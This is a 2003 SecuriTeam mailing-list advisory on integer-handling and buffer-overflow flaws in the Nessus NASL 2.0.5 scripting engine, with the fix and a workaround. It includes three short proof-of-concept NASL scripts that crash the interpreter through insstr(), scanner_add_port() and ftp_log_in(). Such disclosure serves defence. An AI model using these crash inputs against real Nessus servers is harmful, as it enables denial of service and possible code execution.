[UNIX] Nessus NASL Scripting Engine Security Issues

From: SecuriTeam (support_at_securiteam.com)
Date: 05/26/03

  • Next message: SecuriTeam: "[UNIX] UPB Discussion Board/Web-Site Takeover" 
    To: list@securiteam.com
Date: 26 May 2003 14:19:16 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    In the US?

    Contact Beyond Security at our new California office
    housewarming rates on automated network vulnerability
    scanning. We also welcome ISPs and other resellers!

    Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
    - - - - - - - - -

      Nessus NASL Scripting Engine Security Issues
    ------------------------------------------------------------------------

    SUMMARY

    The <http://www.nessus.org/> "Nessus" Project aims to "provide to the
    internet community a free, powerful, up-to-date and easy to use remote
    security scanner. Nessus is very fast, reliable and has a modular
    architecture that allows you to fit it to your needs". Multiple
    vulnerabilities have been found in the product's NASL language allowing
    attackers that are able to upload NASL scripts to the server, to cause the
    server to execute arbitrary code by overflowing internal buffers.

    DETAILS

    Vulnerable systems:
     * NASL version 2.0.5

    Immune systems:
     * NASL version 2.0.6

    Several vulnerabilities have been found in NASL scripting engine. To
    exploit these flaws, an attacker would need to have a valid Nessus account
    as well as the ability to upload arbitrary Nessus plugins in the Nessus
    server (this option is disabled by default) or he/she would need to trick
    a user somehow into running a specially crafted NASL script.

    Not that these issues cannot be exploited by a tested host to crash
    nessusd remotely.

    Integer handling vulnerability in insstr() function
    Vulnerability is triggered by a negative fourth argument:

    $ cat t1.nasl
    insstr("aaaaaaaaaaa", "bb", 3, 0xfffffffd);

    $ nasl t1.nasl
    ** WARNING : packet forgery will not work
    ** as NASL is not running as root
    [1384](t1.nasl) insstr: warning! 1st index 3 greater than 2nd index -3
    Segmentation fault (core dumped)

    Buffer overflow in scanner_add_port() function
    Overflow is triggered by very long 'proto' argument:

    $ cat t2.nasl
    scanner_add_port(port : 80, proto : crap(data:'A', length:300));

    $ nasl t2.nasl
    ** WARNING : packet forgery will not work
    ** as NASL is not running as root
    Segmentation fault (core dumped)

    Buffer overflow in ftp_log_in() function
    Overflow is triggered by very long 'user'/'pass' arguments:

    $ cat t3.nasl
    ftp_log_in(socket : open_sock_tcp(21), pass : "11", user:
    crap(data:'A',length:8192));

    $ nasl t3.nasl
    ** WARNING : packet forgery will not work
    ** as NASL is not running as root
    Segmentation fault (core dumped)

    Vendor status:
    New nessus 2.0.6 packages fixes these issues.

    Workaround:
    Make sure the option 'plugins_upload' is set to 'no' in nessusd.conf and
    do not run untrusted nasl scripts.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:mordred@s-mail.com> Sir
    Mordred .

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] UPB Discussion Board/Web-Site Takeover"

    Relevant Pages